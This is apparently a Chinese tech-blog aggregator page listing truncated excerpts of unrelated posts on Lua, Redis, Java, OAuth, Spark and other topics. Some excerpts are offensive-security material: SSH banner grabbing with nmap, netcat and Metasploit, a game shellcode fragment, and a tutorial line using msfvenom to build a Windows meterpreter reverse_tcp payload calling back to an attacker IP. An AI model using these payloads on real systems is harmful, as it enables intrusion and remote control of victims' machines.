SSH的Banner信息

弹回banner信息 nmap: nmap 192.168.1.1 -sV -p 22 netcat: nc 192.168.1.1 22 metasploit: msfconsole use auxiliary/scanner/ssh/ssh_version show options set rhost 192.168.1.1 run 规避反弹出的banner信息 gedit /etc/ssh/sshd_config 找到有banner的一行下添加 DebianBanner no 设
分类: 其他 发布时间: 06-23 19:41 阅读次数: 0

Lua 语言: 语法

转载请注明来源:https://www.cnblogs.com/hookjc/ -- 两个横线开始单行的注释 --[[ 加上两个[和]表示 多行的注释。 --]] ---------------------------------------------------- -- 1. 变量和流控制。 ---------------------------------------------------- num = 42 -- 所有的数字都是double。 -- 别担心,double的64位中有5
分类: 其他 发布时间: 06-23 19:41 阅读次数: 0

排行榜/计数器 ?

Redis 在内存中对数字进行递增或递减的操作实现的非常好。集合(Set)和有序 集合(Sorted Set)也使得我们在执行这些操作的时候变的非常简单,Redis 只是 正好提供了这两种数据结构。所以,我们要从排序集合中获取到排名最靠前的 10 个用户–我们称之为“user_scores”,我们只需要像下面一样执行即可: 当然, 这是假定你是根据你用户的分数做递增的排序。如果你想返回用户及用户的分数, 你需要这样执行: ZRANGE user_scores 0 10 WITHSCORES A
分类: 其他 发布时间: 06-23 19:41 阅读次数: 0

LeetCode 哈希表 138. 复制带随机指针的链表(链表,哈希表存位置)

说到底就是要把给出的链表完整拷贝一份。 如果仅仅需要拷贝正常的链表的话,只需要在循环中不断创建val和原始链表相同的节点并且将其连起来就行了。 加了这个random这个节点则较为复杂些。问题在于,random指向后是不连续的,这样在新的链表中没法遍历,说到底就是找不到指向的位置。 很直觉的想到给节点编上号,这样就能通过节点找位置,通过位置找节点了。 一开始的想法是建立两个Hashmap, 一个是<Node,Integer>,用于放原链表 一个是<Integer,Node>,用于放新的链表。 这
分类: 其他 发布时间: 06-23 19:41 阅读次数: 0

me21n po 采购订单科目分配输入资产类科目,对应功能范围不显示原因

1.通过函数 fagl_func_erea_frm_cobl_derive 调用子程序 determine_account_type 调用函数 read_kontenplan 通过账户组 科目到表 ska1取数据资产负债标记 xbilk 2若资产负债标记xbilk不为空 ,对应科目的科目组为资产类科目,则不取 功能范围;若不输入资产类科目,系统到表 csks 取数据 功能范围func_area,条件 成本中心kostl等于科目分配输入的成本中心
分类: 其他 发布时间: 06-23 19:41 阅读次数: 0

大数据应用----001

一、选题与意义 1.Hadoop平台应用 淘宝双11数据分析与预测 官网:http://dblab.xmu.edu.cn/post/8116/ 个人对hadoop分布式的学习比较感兴趣。 二、实践方案 简要说明理由。 三、实践任务分解 安装Linux操作系统 安装关系型数据库MySQL 安装大数据处理框架Hadoop 安装数据仓库Hive 安装Sqoop 安装Eclipse 安装 Spark 对文本文件形式的原始数据集进行预处理 把文本文件的数据集导入到数据仓库Hive中 对数据仓库Hive中
分类: 其他 发布时间: 06-23 19:41 阅读次数: 0

JS对象的浅拷贝处理成深拷贝

对象的栈堆 对象的深拷贝:复制值 var a = 10; var b = a; b = 20; console.log(a); // 10 console.log(b); // 20 对象的浅拷贝:只复制地址,没有复制值;两个栈对应一个堆 var obj = { name:"admin" } var obj2 = obj; obj2.name = "root"; console.lo
分类: 其他 发布时间: 06-23 19:24 阅读次数: 0

Java初次体验和基本语法

Java程序开发体验 public class Demo { //定义一个类 public static void main(String[] args) { //主方法,一切程序的起点 /* 在屏幕上打印输出 */ System.out.println("Hello World!"); } } 标识符、关键字 在程序中用于定义名称的都为标识符,如文件名称、类名称、方法名称或变量名称等,在 Java中标识符的定义格式由字母、数字、_(下划线),$所组成,不能以数字开头,不能是Java中的关键字
分类: 其他 发布时间: 06-23 19:24 阅读次数: 0

OAuth2.0的四种授权模式(转)

1. OAuth2简易实战(一)-四种模式 1.1. 隐式授权模式(Implicit Grant) 第一步:用户访问页面时,重定向到认证服务器。 第二步:认证服务器给用户一个认证页面,等待用户授权。 第三步:用户授权,认证服务器想应用页面返回Token 第四步:验证Token,访问真正的资源页面 1.2. 授权码授权模式(Authorization code Grant) 第一步:用户访问页面 第二步:访问的页面将请求重定向到认证服务器 第三步:认证服务器向用户展示授权页面,等待用户授权 第四
分类: 其他 发布时间: 06-23 19:24 阅读次数: 0

SpringMVC基础-14-SpringMVC与Spring整合

代码示例: BookController.java: 1 package com.atguigu.controller; 2 3 import org.springframework.beans.factory.annotation.Autowired; 4 import org.springframework.stereotype.Controller; 5 import org.springframework.web.bind.annotation.RequestMapping
分类: 其他 发布时间: 06-23 19:24 阅读次数: 0

java mysql学习第二部分

DQL查询:   1.排序查询:        1.order by字句;默认以ASC(升序)排列,另外以降序(DESC)方式排列;        2.排序条件顺序语句:SELECT * FROM student3 ORDER BY math DESC,english DESC。   2.聚合函数:将一列数据作为一个整体,进行纵向的计算。(count、max、min、sum、avg)        注意:聚合函数的计算,排除null值。   3.分组查询:语法:group by 分组字段   
分类: 其他 发布时间: 06-23 19:24 阅读次数: 0

war3 Game

转载请注明来源:https://www.cnblogs.com/hookjc/ //位置结构。x,y不多说,unknown是3F800000。浮点数1.0?? struct Pos {   DWORD x,y,unknow; }; //由于但是是写成shellcode的,所以封装了函数 //storm.dll的地址 DWORD _declspec(noinline) GetStromAddr() {   return 0x15000000; } //game.dll的地址 DWORD _
分类: 其他 发布时间: 06-23 19:24 阅读次数: 0

搜索引擎ElasticSearch入门

前言 最近项目上需要用到搜索引擎,由于之前自己没有了解过,所以整理了一下搜索引擎的相关概念知识。 正文 想查数据就免不了搜索,搜索就离不开搜索引擎,百度、谷歌都是一个非常庞大复杂的搜索引擎,他们几乎索引了互联网上开放的所有网页和数据。然而对于我们自己的业务数据来说,肯定就没必要用这么复杂的技术了,如果我们想实现自己的搜索引擎,方便存储和检索,可以快速地储存、搜索和分析海量数据。搜索引擎有很多种,我这里主要讲两种比较流行的搜索引擎框架 Elasticsearch 和 Lucene 搜索引擎。 一
分类: 其他 发布时间: 06-23 19:24 阅读次数: 0

Jmeter系列(29)- 详解 JDBC Connection Configuration

如果你想从头学习Jmeter,可以看看这个系列的文章哦 https://www.cnblogs.com/poloyy/category/1746599.html 前言 发起 jdbc 请求前,需要有 JDBC 连接配置,即先连上数据库,才能查询数据库 JDBC Connection Configuration JDBC Connection Configuration 界面介绍 Variable Name for created pool JDBC Connection Configurati
分类: 其他 发布时间: 06-23 19:24 阅读次数: 0

「网易官方」极客战记(codecombat)攻略-沙漠-操作 "杀鹿"-operation-killdeer

(点击图片进入关卡) 向他们示弱,杀戮之心会迷惑了他们。 简介 这是一个大波的食人魔! 使用具有布尔返回值的函数来检查英雄是否应该撤退。 战斗直到 shouldrun() 返回 true,然后运行! 默认代码 # 诱使食人魔陷入陷阱。 这些食人魔很谨慎。 # 如果英雄受伤,他们只会跟随。 # 该功能检查英雄的健康状况 # 并返回一个布尔型(Boolean)的值 def shouldRun(): if hero.health < hero.maxHealth / 2: return True e
分类: 其他 发布时间: 06-23 19:24 阅读次数: 0

MapReduce模型以支持更多计算类型,可以涵盖广泛第一

Spark介绍 Spark是大规模数据处理的事实标准,包括机器学习的操作,希望把大数据处理和机器学习管道整合。 Spark使用函数式编程范式扩展了MapReduce模型以支持更多计算类型,可以涵盖广泛的工作流。Spark使用内存缓存来提升性能,因此进行交互式分析也足够快速(如同使用Python解释器,与集群进行交互一样)。缓存同时提升了迭代算法的性能,这使得Spark非常适合机器学习。 由于Spark库提供了Python、Scale、Java编写的API,以及内建的机器学习、流数据、图算法、类
分类: 其他 发布时间: 06-23 19:24 阅读次数: 0

SqlCommandBuilder类是如何构建T-Sql语句

本篇博客默认你看了【DataTable中AcceptChanges()方法的DataRowRowState属性】这篇博客。 在使用SqlCommandBuilder很简单,就是创建一个SqlCommandBuilder对象,然后设置它的DataAdapter属性即可,但实际上,SqlCommandBuilder对象为我们做了很多事,也就是构建T-Sql命令,使我们的数据库能够与我们的操作同步,在调用SqlDataAdapter实例的Update()方法时,SqlCommandBuilder实例
分类: 其他 发布时间: 06-23 19:24 阅读次数: 0

typora+picgo+jsdeliver+github打造免费高效的博客图床

picGo下载地址 : https://github.com/Molunerfinn/PicGo typora官方 : https://typora.io/ 使用typora + picgo + jsdeliver + github可以达到什么效果 ? github提供免费的10G存储空间, 可以存一大堆图片. picGo支持github图床, 可以拖动上传或者设置快捷键上传, 免去繁杂的add, commit, push流程 jsdeliver 提供CDN加速, 由于github本身较慢,
分类: 其他 发布时间: 06-23 19:24 阅读次数: 0

msf添加代理

准备环境:攻击机kali:192.168.1.104 靶机:win2008 :192.168.1.103 192.168.137.130(模拟内网ip) 使用msfvenom生成一个木马,msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=4444 -f exe > 1.exe(我的win2008是64位的) 接下来打开msfconsole模块 use exploit/multi/handler s
分类: 其他 发布时间: 06-23 19:24 阅读次数: 0

scons使用

转载请注明来源:https://www.cnblogs.com/hookjc/ 一、SConstruct File {{{1 1. Sconstruct 文件 是scons用来控制编译的文件 2. Sconstruct 文件 是一个python脚本 3. SConstruct 文件 是一个类似于makefile一样的东西, 告诉 scons做什么,而不是严格的规定soncs做这件事的步骤 二、scons选项 {{{1 -c Cleaning up After a Build -Q Making
分类: 其他 发布时间: 06-23 19:24 阅读次数: 0